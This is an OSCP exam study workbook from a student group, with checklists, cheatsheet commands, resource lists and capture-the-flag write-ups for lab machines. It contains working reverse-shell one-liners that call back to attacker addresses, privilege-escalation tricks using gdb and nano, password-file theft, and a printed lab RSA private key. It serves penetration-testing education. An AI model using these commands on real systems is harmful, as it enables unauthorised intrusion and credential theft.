# Starting Your OSCP Journey! CyberDefenders 2020 OSCP Study Group workbook and guide. This book is a document for preparing topics for passing the OSCP certification. It not only includes tips and tricks to study but also motivational and breaking into industry content. # OSCP Roadmap ## Quick Facts About The Exam * You have to root 4 machines out of 5. One machine is buffer overflow, One is easy box, one is insanely hard box, and rest two are medium boxes. * The Linux machines on OSCP are easier than the hackthebox machines. Usually its an RCE and can be found with LinEnum. For windows boxes it helps to know powershell. * SQLMap and any commercial tools are not allowed in OSCP. * You may only use Metasploit modules (Auxiliary, Exploit, and Post) or the Meterpreter payload against one single target machine of your choice. Once you have selected your one target machine, you cannot use Metasploit modules (Auxiliary, Exploit, or Post) or the Meterpreter payload against any other machines. Metasploit/Meterpreter should not be used to test vulnerabilities on multiple machines before selecting your one target machine, this includes the use of check. You may use Metasploit/Meterpreter as many times as you would like against your one target machine. * msfvenom is allowed for unlimited use on the exam to create your reverse shell payloads (shell/reverse\_tcp and shell\_reverse\_tcp). * Use Metasploit multi-handler to catch your msfvenom shells is allowed for unlimited use. For this you are allowed to use a staged or non-staged reverse shell payloads, but of course no unlimited Meterpreter. * pattern\_create and pattern\_offset from Metasploit are allowed for unlimited use to allow you to create buffer overflow payloads. ## Roadmap This is a list of topics you should be familiar with: * # HackTheBox CheckList Mark Down version of Cherry Tree template by **devzspy** : [https://github.com/devzspy/oscp-certification/blob/master/Note Taking Tools/CherryTree Template/CTF\_template.ctb](https://github.com/devzspy/oscp-certification/blob/master/Note%20Taking%20Tools/CherryTree%20Template/CTF_template.ctb) This is a template for working on steps to follow when attempting a Hack the Box machine *Machine Name*: (10.10.10.ddd) ## 1. Enumeration ### TCP ### UDP ### Web Services * Nikto * gobuster * WebDav * CMS **Other Services** * SMB * SNMP * DB * Other ## 2. Exploitation ### Service Exploited: ### Vulnerability Type: ### Exploit POC: ### Description: ### Discovery of Vulnerability ### Exploit Code Used ### Proof\Local.txt File ☐ Screenshot with ifconfig\ipconfig ☐ Submit too OSCP Exam Panel ## 3. Post-Exploitation ### Script Results ### Host Information ### File System ### Running Processes ### Installed Applications ### Users & Groups ### Network ### Scheduled Jobs ### Privilege Escalation ## Goodies ### Hashes ### Passwords ### Proof/Flags/Other ## Software Version ### Software Versions ### Potential Exploits ## Methodology ## Network Scanning ☐ nmap -sn 10.11.1.0/24 ☐ nmap -sL 10.11.1.0/24 ☐ nbtscan -r 10.11.1.0/24 ☐ smbtree ### Individual Host Scanning ☐ nmap --top-ports 20 --open ipaddress ☐ nmap -sS -A -sV -O -p- ipaddress -oA nmap ☐ nmap -sU ipaddress ☐ searchsploit -x --nmap nmap.xml ☐ dig axfr @ipaddress dc ### Service Scanning ``` WebApp ☐ Nikto ☐ gobuster -u http://ipaddress -w /usr/share/wordlists/common.txt -s 200,204,301,302,307,403 -r -t 15 -o gobuster.txt ☐ wpscan ☐ dotdotpwn ☐ view source ☐ davtest\cadevar ☐ droopscan ☐ joomscan ☐ LFI\RFI Test Linux\Windows ☐ snmpwalk -c public -v1 ipaddress 1 ☐ smbclient -L //ipaddress ☐ showmount -e ipaddress port ☐ rpcinfo ☐ Enum4Linux Anything Else ☐ nmap scripts (locate *nse* | grep servicename) ☐ hydra ☐ MSF Aux Modules ☐ Download the software ``` ## Exploitation ☐ Gather Version Numbers ☐ Searchsploit ☐ Default Creds ☐ Creds Previously Gathered ☐ Download the software ## Post Exploitation ``` Linux ☐ linux-local-enum.sh ☐ linuxprivchecker.py ☐ linux-exploit-suggestor.sh ☐ unix-privesc-check.py ☐ find / -perm -4000 2>/dev/null | xargs ls -la Windows ☐ wpc.exe ☐ windows-exploit-suggestor.py ☐ windows_privesc_check.py ☐ windows-privesc-check2.exe ``` Priv Escalation ☐ acesss internal services (portfwd) ☐ add account Windows ☐ List of exploits Linux ☐ sudo su ☐ KernelDB ☐ Searchsploit Final ☐ Screenshot of IPConfig\WhoamI ☐ Copy proof.txt ☐ Dump hashes ☐ Dump SSH Keys ☐ Delete files ## Log Book # OpenAdmin Here are exploit write-up on OpenAdmin. * # Buffer Overflow Elements of learning buffer overflow. OSCP has one machine which is based on buffer overflow. {% embed url="" %} Code : # Bounties & CTFs Potential bounty programs and competitions to improve skills. ## Bounty Programs | Bounty Program | Summary | CD Team | | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | ------- | | [Github CodeQL ](https://securitylab.github.com/bounties) | Maximum bounty is $2500, codeQL is a good tools to found issues with open source projects. | TBD | | [Facebook OSQuery Bug bounty](https://www.facebook.com/notes/facebook-bug-bounty/bug-hunting-osquery/954850014529225) | Minimum bounty is $500, and this is a great way to learn OSQuery. | TBD | ## Capture The Flag Machines | Program | OSCP Relevant Machines | | ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- | | [Boot2Root](https://blog.g0tmi1k.com/boot2root/) | | | [HackTheBox](http://www.hackthebox.eu) | OpenAdmin, | | [Vulnhub](https://www.vulnhub.com/) | | | [TryHackMe](https://tryhackme.com/) | 'Rooms' meant to teach you a set of skills, or King of the Hill competitions where you fight to maintain control of a machine | # References Study References. ### General Resources | Resource | Area | | --------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------- | | [ired.team](https://www.ired.team) | Pentest notes | | [Dostovskylabs Pentest notes](https://dostoevskylabs.gitbooks.io/dostoevskylabs-pentest-notes/content/chapter-1.html) | Pentest notes | | [Curated Pentest Report](https://github.com/juliocesarfort/public-pentesting-reports/) | A good repository of well curated penetration testing reports. | | [ippsec.rocks](https://ippsec.rocks/) | Video Tutorials for pentesting. | | [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) | Video Tutorials for pentesting. | | [PWK Cheatsheet](https://ceso.github.io/posts/2020/04/hacking/oscp-cheatsheet/) | Justen's recommendation for doing PWK labs. | ### People To Follow | Name | Skills | | -------------------------------- | ------------------------ | | [Snowscan](https://snowscan.io/) | Top hacker on hackthebox | # Cheatsheet Commands # credential-access ## password cracking ``` sudo john --wordlist=/usr/share/wordlists/rockyou.txt ``` # privilege-escalation-linux ## Linpeas ``` #Output to file linpeas -a > /dev/shm/linpeas.txt ``` ## SUID3NUM ``` suid3num ``` # privilege-escalation-win ## powershell ``` Invoke-Command -ComputerName localhost -Creadential $credential -ScriptBlock { C:\inetpub\wwwroot\internal-01\log\nc.exe 10.10.14.4 1338 -e cmd.exe ``` # reverse-shells ## using msfvenom ``` msfvenom -p windows/shell/reverse_tcp LHOST=target.ip LPORT=80 --platform windows -a x64 ``` # enumeration ## samba ``` smbclient -L target.ip ``` # wordlists ## password ``` /usr/share/wordlists/rockyou.txt ``` # recon ## nmap ``` nmap -sC -sV -O -v --open -p- -oA nmap/full target.ip ``` ## gobuster ``` gobuster dir -u http://target.ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -o webscan/gobuster-extensions ``` # recon-win # Hacker Haikus ## Patching > Vulns have to be patched.\ > Hope not to break our machines.\ > Now no more exploits. ## Strong creds > Rockyou vs passwords.\ > Upper, lower, and numbers.\ > How strong are your creds? ## UDP > Fire and forget.\ > Protocol with no handshake.\ > This is UDP. ## Blue team > People doing work.\ > Hackers lurk in the shadows.\ > We protect info. # Write Ups # Noah's Spacejam KOTH writeup I started by running two nmap scans, one ‘fast’ scan with the `–f` flag for top 1,00 ports, and another full scan with `–p-` for all ports.\ `sudo nmap -f -sC -sV -T5 -oN fastscan -v 10.10.182.201`\ `sudo nmap -p- -v -sC -sV -T5 -oN fullscan 10.10.182.201` Abbreviated output of the fast scan: > Scanning 10.10.182.201 \[1000 ports]\ > Discovered open port 80/tcp on 10.10.182.201\ > Discovered open port 23/tcp on 10.10.182.201\ > Discovered open port 22/tcp on 10.10.182.201\ > Discovered open port 3000/tcp on 10.10.182.201\ > Discovered open port 9999/tcp on 10.10.182.201\ > PORT STATE SERVICE VERSION\ > 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)\ > 23/tcp open telnet Linux telnetd\ > 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))\ > \| http-methods:\ > \| *Supported Methods: GET HEAD POST OPTIONS*\ > *|\_http-server-header: Apache/2.4.18 (Ubuntu)*\ > *|\_http-title: Michael Jordan*\ > *3000/tcp open http Node.js (Express middleware)*\ > *| http-methods:*\ > *|* Supported Methods: GET HEAD POST OPTIONS\ > |\_http-title: Site doesn't have a title (text/html; charset=utf-8).\ > 9999/tcp open http Golang net/http server Taking a random port, I jumped to port 3000 in the browser which gave a very useful hint of ‘cmd parameter missing’.\ Testing the cmd parameter assuming it ran OS commands I did a test of `http://10.10.182.201:3000/?cmd=whoami` which said `root` This seemed too easy but all evidence showed it really did run commands as root.\ Before creating my reverse shell I did a `http://10.10.182.201:3000/?cmd=echo unnoable > /root/king.txt` to get the king points started.\ Going over to pentestmonkey’s reverse shell cheat sheet I started a `nc –lvnp 12345` listener on my end and ran the python shell after checking `which python`.\ `http://10.10.182.201:3000/?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.5.16",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`\ I then upgraded my shell with python and stty:\ `python -c 'import pty; pty.spawn("/bin/bash")'`\ `[ctrl + z]`\ `stty raw –echo`\ `fg`\ Making it harder for others to follow me to root I cleared out the sudo permissions which were a straight shot to root with both users having all sudo access with no password. I tried adding a new user account but something was messing it up so I just left it and made sure not to lose my access.\ Doing some post exploitation I stole the passwd and shadow files to crack the passwords later. They are in a crackable form now by using the john unshadow tool `sudo /usr/sbin/unshadow passwd shadow > unshadow.crack`.\ I looked around the machine but only found 2 flags, a duplicate user.txt for both bunny and Jordan, and a root.txt.\ Rob had also gotten root and did some fuckery with the king.txt so it was impossible to add your name to it. I tried searching the running processes with `ps –ef | grep king.txt` but couldn’t find the loop he said he was running. I also attempted bruteforcing the telnet login, and trying an empty username/password.\ `msfconsole`\ `search telnet_login`\ `use 0`\ `options`\ `set RHOSTS 10.10.182.201`\ `set USERNAME spacejam`\ `set PASS_FILE /usr/share/wordlists/rockyou.txt`\ `run`\ But then it locked me out after like 3 tries :(\ There was also a pretty plain looking website on port 80. Running `gobuster` on that originally showed a couple of directories including /flag/. I tried running it again on that directory but didn’t get anything. I probably could have searched for php, html, or txt files with the `–x txt,html,php` gobuster flag but there wasn’t a lot of time at this point. # Vincent's Shrek KOTH writeup ## Recon ### nmap ``` PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.1.33) 3306/tcp open mysql MySQL (unauthorized) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 9999/tcp open abyss? ``` ### gobuster ``` /upload (Status: 301) /cms (Status: 301) /api (Status: 301) /robots.txt (Status: 200) ``` ## Web Enumeration ### shrek.thm/robots.txt ``` User-agent: * Disallow: /Cpxtpt2hWCee9VFa.txt ``` #### /Cpxtpt2hWCee9VFa.txt ``` -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAsKHyvIOqmETYwUvLDAWg4ZXHb/oTgk7A4vkUY1AZC0S6fzNE JmewL2ZJ6ioyCXhFmvlA7GC9iMJp13L5a6qeRiQEVwp6M5AYYsm/fTWXZuA2Qf4z 8o+cnnD+nswE9iLe5xPl9NvvyLANWNkn6cHkEOfQ1HYFMFP+85rmJ2o1upHkgcUI ONDAnRigLz2IwJHeZAvllB5cszvmrLmgJWQg2DIvL/2s+J//rSEKyISmGVBxDdRm T5ogSbSeJ9e+CfHtfOnUShWVaa2xIO49sKtu+s5LAgURtyX0MiB88NfXcUWC7uO0 Z1hd/W/rzlzKhvYlKPZON+J9ViJLNg36HqoLcwIDAQABAoIBABaM5n+Y07vS9lVf RtIHGe4TAD5UkA8P3OJdaHPxcvEUWjcJJYc9r6mthnxF3NOGrmRFtDs5cpk2MOsX u646PzC3QnKWXNmeaO6b0T28DNNOhr7QJHOwUA+OX4OIio2eEBUyXiZvueJGT73r I4Rdg6+A2RF269yqrJ8PRJj9n1RtO4FPLsQ/5d6qxaHp543BMVFqYEWvrsdNU2Jl VUAB652BcXpBuJALUV0iBsDxbqIKFl5wIsrTNWh+hkUTwo9HroQEVd4svCN+Jr5B Npr81WG2jbKqOx2kJVFW/yCivmr/f/XokyOLBi4N/5Wqq+JuHD0zSPTtY5K04SUd 63TWQ5kCgYEA32IwfmDwGZBhqs3+QAH7y46ByIOa632DnZnFu2IqKySpTDk6chmh ONSfc4coKwRq5T0zofHIKLYwO8vVpJq4iQ31r+oe7fAHh08w/mBC3ciCSi6EQdm5 RMxW0i4usAuneJ04rVmWWHepADB0BqYiByWtWFYAY9Kpks/ks9yWHn8CgYEAymxD q3xvaWFycawJ+I/P5gW8+Wr1L3VrGbBRj1uPhNF0yQcA03ZjyyViDKeT/uBfCCxX LPoLmoLYGmisl/MGq3T0g0TtrgvkFU6qZ3sjYJ+O/yrT06HYapJLv6Ns/+98uNvi 3VEQodZNII8P6WLk3RPp1NzDVcFDLmD9C40UAQ0CgYBokPgOUKZT8Sgm4mJ/5+3M LZtHF4PvdEOmBJNw0dTXeUPesHNRcfnsNmulksEU0e6P/IQs7Jc7p30QoKwTb3Gu hmBZxohP7So5BrLygHEMjI2g2AGFKbv2HokNvhyQwAPXDBG549Pi+bCcrBHEAwSu v85TKX7pO3WxiauPHlUPVQKBgFmIF0ozKKgIpPDoMiTRnxfTc+kxyK6sFanwFbL9 wXXymuALi+78D1mb+Ek2mbwDC6V2zzwigJ1fwCu2Hpi6sjmF6lxhUWtI8SIHgFFy 4ovrJvlvvO9/R1SjzoM9yolNKPIut6JCJ8QdIFIFVPlad3XdR/CRkIhOieNqnKHO TYnFAoGAbRrJYVZaJhVzgg7H22UM+sAuL6TR6hDLqD2wA1vnQvGk8qh95Mg9+M/X 6Zmia1R6Wfm2gIGirxK6s+XOpfqKncFmdjEqO+PHr4vaKSONKB0GzLI7ZlOPPU5V Q2FZnCyRqaHlYUKWwZBt2UYbC46sfCWapormgwo3xA8Ix/jrBBI= -----END RSA PRIVATE KEY----- ``` ### ssh2john.py ``` # python3 ssh2john.py /home/kali/key.pem ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes() data = base64.decodestring(data) /home/kali/key.pem has no password! ``` Here we can see that there is no password for the ssh key. ## SSH Took a random guess because it's called Shrek. ``` # ssh -i key.pem shrek@shrek.thm Last login: Tue Jun 9 23:03:29 2020 from ip-10-1-122-133.eu-west-1.compute.internal [shrek@shrek ~]$ ``` ### ls ```bash $ ls check.sh flag.txt ``` ### LinPEAS From here I downloaded linPEAS from github to find any vulnerabilities. ``` # git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git ``` #### scp I needed to get this file onto here ``` # scp -i key.pem linpeas.sh shrek@shrek.thm:/home/shrek ``` Afterwards it looked like this: ``` $ ls check.sh flag.txt linpeas.sh ``` #### linPEAS.sh ```bash $ sh linpeas.sh ====================================( Interesting Files )===================================== [+] SUID - Check easy privesc, exploits and write perms [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands /usr/bin/chfn ---> SuSE_9.3/10 /usr/bin/chsh /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 /usr/bin/chage /usr/bin/gpasswd /usr/bin/newgrp ---> HP-UX_10.20 /usr/bin/su /usr/bin/umount ---> BSD/Linux(08-1996) /usr/bin/sudo ---> /sudo$ /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485) /usr/bin/gdb /usr/bin/crontab /usr/bin/run-parts /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) /usr/sbin/pam_timestamp_check /usr/sbin/unix_chkpwd /usr/sbin/usernetctl /usr/lib/polkit-1/polkit-agent-helper-1 /usr/libexec/dbus-1/dbus-daemon-launch-helper [+] SGID [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands /usr/bin/wall /usr/bin/write /usr/bin/gdb /usr/bin/run-parts /usr/bin/ssh-agent /usr/sbin/netreport /usr/sbin/postdrop /usr/sbin/postqueue /usr/libexec/utempter/utempter /usr/libexec/openssh/ssh-keysign ``` You can't see it here, but the most interesting part was gdb. After looking on GTFObins, you can find this gdb privilege escalation: ``` gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit ``` Here's the result: ``` [shrek@shrek ~]$ gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-115.el7 Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-redhat-linux-gnu". For bug reporting instructions, please see: . sh-4.2# ``` From here we can find all the flags and defend the title. # Vincent's Tyler KOTH writeup ## Recon ### nmap ``` # sh recon.sh 10.10.172.202 Host is up. Starting Nmap 7.80 ( https://nmap.org ) [...] Not shown: 992 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.3.16) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA) 3306/tcp open mysql MariaDB (unauthorized) 5000/tcp open http Werkzeug httpd 1.0.0 (Python 3.6.8) 8080/tcp open http nginx 1.16.1 9999/tcp open abyss? Service Info: Host: TYLER Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 101.87 seconds Raw packets sent: 1103 (48.508KB) | Rcvd: 1022 (40.912KB) ``` ### Gobuster ``` # gobuster dir -u 10.10.172.202 -w /usr/share/wordlists/rockyou.txt -x php,txt -t 100 =============================================================== /upload (Status: 301) ``` Looking at a regular gobuster, there's nothing useful. I uploaded php\_reverse\_shell.php but I couldn't find where it was uploaded. ### alert.txt ``` cat alert.txt Let's keep things interesting... X8JEETQmf3hkS65f ``` ### dirsearch.py ``` git clone https://github.com/maurosoria/dirsearch.git cd dirsearch ./dirsearch.py -u http://tyler.thm/ -w /usr/share/wordlists/rockyou.txt -e html,txt /betatest/ ``` From here we find something called checkuser.php. Typing in tdurden replies with: ``` tdurden:x:1000:1000::Tyler Durden:/home/tdurden/bin/bash tdurden:x:1000:1000:Tyler Durden:/home/tdurden:/bin/bash ``` Typing narrator gives us: ``` narrator:x:1002:1002::/home/narrator:/bin/bash narrator/:x:1002:1002::/home/narrator/:/bin/bash ``` ## SSH ssh into narrator ``` # ssh narrator@tyler.thm narrator@tyler.thm's password: Last login: Thu Mar 26 10:52:23 2020 from cyberdyne [narrator@tyler ~]$ ``` ### app.py ``` #!/usr/bin/python3 import os from flask import Flask, flash, request, redirect, render_template from werkzeug.utils import secure_filename UPLOAD_FOLDER = './uploads' app = Flask(__name__) app.secret_key = "secret key" app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'py']) def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/') def upload_form(): return render_template('upload.html') @app.route('/', methods=['POST']) def upload_file(): if request.method == 'POST': # check if the post request has the file part if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': flash('No file selected for uploading') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) os.system('/usr/bin/python3 ' + os.path.join(app.config['UPLOAD_FOLDER'], filename)) flash('File successfully uploaded') return redirect('/') else: flash('Allowed file types are txt, pdf, png, jpg, jpeg, gif, py') return redirect(request.url) if __name__ == "__main__": app.run(host='0.0.0.0') ``` ### Privilege Escalation ``` [narrator@tyler ~]$ vim /etc/sudoers ``` From here, you add narrator to the sudoers file: ``` narrator ALL=(ALL) ALL :wq! ``` After this, you type sudo -i to get to root. ## After root ``` vim /etc/ssh/sshd_config ``` Go to `PermitRootLogin` and change the parameter from `no` to `yes`. ``` :wq! # Save your work ``` # Drew's HTB OpenAdmin writeup ## original article can be found at OpenAdmin is the first ‘real’ box I’ve rooted on HackTheBox and it was an enlightening experience. The main foothold here is a remote code execution vulnerability that exists in OpenNetworkAdmin v18.1.1. To enumerate exposed services, perform an nmap scan:\ `nmap -sV -T4 10.10.10.171` In the resulting output we notice that:\ 1\. The box is running an Apache server (v2.4.29) on port 80\ 2\. The box has SSH open on port 22. At this point, there are two paths that seem viable: drill down into the HTTP server, or look into Apache 2.4.29 exploits. During my run, I spent a little more time than I would like to admit trying to understand CVE-2019–0211, which affects Apache 2.4.29. Once I realized it was a local exploit, I moved on — next up, see what else can be found through HTTP. To enumerate sub-directories that might exist on the HTTP server, use something like *gobuster*:\ `gobuster dir -u -w /usr/share/wordlists/SecLists/directory-list-lowercase-2.3-small.txt >> gob.out` We are able to find a 301-redirect at — navigating here in a browser brings us to a splash page, with an obvious link to a login page.\ The login link brings us to , where we are presented with guest access to an OpenNetworkAdmin (ONA) portal. ![OpenNetworkAdmin portal](https://miro.medium.com/max/1400/0*U2YZ-h9qrMB82H4m) The polar chart that Hack The Box provides for this lab shows it is CVE-heavy. Since we are presented with the Newer Version Available notice and the version number for ONA, we can guess that there’s some available exploit for OpenNetAdmin v18.1.1.\ Let’s find out with a quick searchsploit:\ `searchsploit opennetadmin 18.1.1` ![searchsploit opennetadmin](https://miro.medium.com/max/1400/0*Zjb6B8ETx6nH-Pp-) Let’s avoid Metasploit, and go with the bash script (47691.sh). Usage of the vanilla script goes something like this: ![bash script](https://miro.medium.com/max/1234/0*j5n95lms-58h8fdE) Something’s not right, and it has to do with End-Of-Line character differences between Linux and Windows — there is a good explanation of this concept here. TL;DR: Use dos2unix. Perl saves the day! With our script modified, we can try again — this time, access works and we have a local shell. At this point, we can poke around a bit.\ `ls -al; whoami; id; sudo -l; env`\ ![Initial enum](https://miro.medium.com/max/1400/0*gsSbCXJQ2pHXP0yI)\ Basic local enumeration ![etc passwd](https://miro.medium.com/max/1400/0*ItDyVLsjdtE2maG5)\ cat /etc/passwd Oh yeah! There are lots of interesting files to look through here. From `/etc/passwd` we can enumerate two users, `jimmy` and `joanna`. Beyond this, we are mostly limited in scope to `/opt/ona`. There is something REALLY interesting to be found in `/local/config/database_settings.inc.php`:\ ![config file](https://miro.medium.com/max/1212/0*ytLWmr4cb87nNs2Q) Someone left a MySQL password here. Since we are going for user-level access and we now know 2 users, let’s try jumping straight through SSH. That someone might’ve gotten lazy with their passwords…\ ![ssh joanna permission denied](https://miro.medium.com/max/1224/0*OD9hMw2hADcMn-fs)\ No luck with `joanna`. ![ssh jimmy](https://miro.medium.com/max/1400/0*fPlXJtPXg8XxxH9s)\ Different story with `jimmy` - we're in! We can’t do much as `jimmy` - makes sense. Someone get this guy on a password manager. But even `jimmy` has to debug logs sometimes, so it's worth looking to see if we have access to anything in `/var`: `find /var -type f -user jimmy 2>/dev/null`. If we recall that jimmy's UID/GUID are `1000`, we can refine further: `find /var -type f -user jimmy 2>/dev/null | grep -v 1000` ![find grep](https://miro.medium.com/max/1400/0*YznwDJNu_MrWX8rI) Apparently Apache2 servers store their files in `/var/www/html` by default! Who would've thought to RTFM. And even better, there is an `/internal` folder, containing `main.php`:\ ![cat main.php](https://miro.medium.com/max/1400/0*AZeZVAjiDaTVj_R1) Since we know now that we are in the web-root folder, maybe this PHP file can be called across HTTP. It appears that it will give us joanna's private RSA key.\ `curl http://127.0.0.1/main.php` ![curl main](https://miro.medium.com/max/1400/0*yAfS0LeU-FVsxSEu) However, a quick attempt to call the script fails. Thankfully, the 404 output reminds us we are checking only at port 80 — it is quite possible that this Apache installation has two IP-based virtual hosts (explained here), and the other is hosting /internal. Let's use netstat to check listening TCP ports: ![netstat](https://miro.medium.com/max/1400/0*cQ2pI1hoRItNXQep) Most of these can be accounted for: 3306 for MySQL, 53 for DNS, & 22 for SSH — however, port 52846 stands out. So, instead of the implict :80, let's try :52846: ![curl main.php](https://miro.medium.com/max/1400/0*3kGpWBOF0CEuuFFa) And we get the private key! With this in hand, we can use john to crack the RSA password. We'll just need to convert to it to the right format first - after some quick research, `ssh2john.py` is the tool for the job. ![john ssh key](https://miro.medium.com/max/1400/0*xLl9SVHckG15LH3t) And we’re in! The user flag is sitting in joanna's home directory. Next task — get the root flag. Here’s something interesting: `sudo -l` shows us that we have permissions to run `/bin/nano` with sudo. I got a bit stuck at this point, as I wasn't exactly sure how to use nano to escalate my privileges. Luckily, I got a hint from colleagues — GTFOBins is a great website that shows how to use Unix binaries to elevate privileges, and we just need slightly alter the payload that we get there. `sudo /bin/nano /opt/priv`\ `reset; 1>&0 2>&0` and that’s it! ![whoami root](https://miro.medium.com/max/1400/0*pvPd4G0zX5ZFw01Z) The root flag is inside the directory, and we have successfully completed the box! This box was a nice introduction — it forced me to learn about Apache2 installations and GTFOBins, and it is apparent that these things are going to continually come up. Thanks so much for reading and check back for future HTB write-ups! # Dhruv Verma Interview is [here](https://docs.google.com/document/d/1_cXk3J_PyI4prD0-xpZf9KmL0DCF9M52zzwzdObV2-A/edit?usp=sharing). ## Links * [Presentation](https://docs.google.com/presentation/d/122UBRhgM443_WZZ4TERQnpzyEQaOTLZtPHbFT968LFI/edit?usp=sharing/) * Buffer Overflow [Lab](https://seedsecuritylabs.org/Labs_16.04/Software/Buffer_Overflow) Btw, here are some key takeaways students thought they took from your presentation: * One line I really took from the talk is organizing and sectioning off time for OSCP. To me, that meant that it's not about the short run, where I would try to blast through all the machines in one go, but to pick a time and workflow that works for me. * My biggest takeaways were the differences from how I as a learner approach hacking vs someone who does it professionally. I would probably end up doing many of the same things, but in a much more manual way which wouldn't scale to testing a whole network. # Aaron Goldstein Interview is [here](https://www.google.com/url?q=https://docs.google.com/document/d/19qvO3jXZMhgNs-Y5xcOGFr6GH5GurZs-agdC4JFl7nk/edit?usp%3Dsharing\&sa=D\&source=calendar\&usd=2\&usg=AOvVaw1sRK9ZMXHSImFsmq7DRgKS). ## Links * - Great site for tracking progress against machines (can import nmap data for tracking too). I use this all the time for the Venom builder (shell creation) and other cool stuff. The free version works great. * [AutoRecon](https://github.com/Tib3rius/AutoRecon) is the tool I used for automating the enumeration process (and OSCP exam approved)\ I also used a LOLBIN (Living off the Land Binary) to download files from the Windows box - the command was "**Certutil -urlcache -split -f \**"These are great because most systems will already have them installed. * [Here](https://lolbas-project.github.io/) is a great site that outlines TONS of them. * A few links / tools that helped me with Windows Privesc:List of pre-compiled binaries for different exploits - * [WATSON](https://github.com/carlospolop/winPE/tree/master/binaries/watson) -tool for identifying exploits for Windows privesc - requires .NET - runs on target host \ Quick method to check what version of .NET is installed on host (needed for Watson)-\ reg query "HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP" * [Windows Exploit Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - This is a great tool for finding exploits on windows hosts for privesc too - but this one takes in the "systeminfo" from the target host and runs locally on the attacker system \--- Key takeaways : * # Will Bonk Unedited [Interview.](https://docs.google.com/document/d/1sF6JH-O6ngfU2lB4fGFr6y59KdPOQHJ5JRjGaS88KJk/edit?usp=sharing)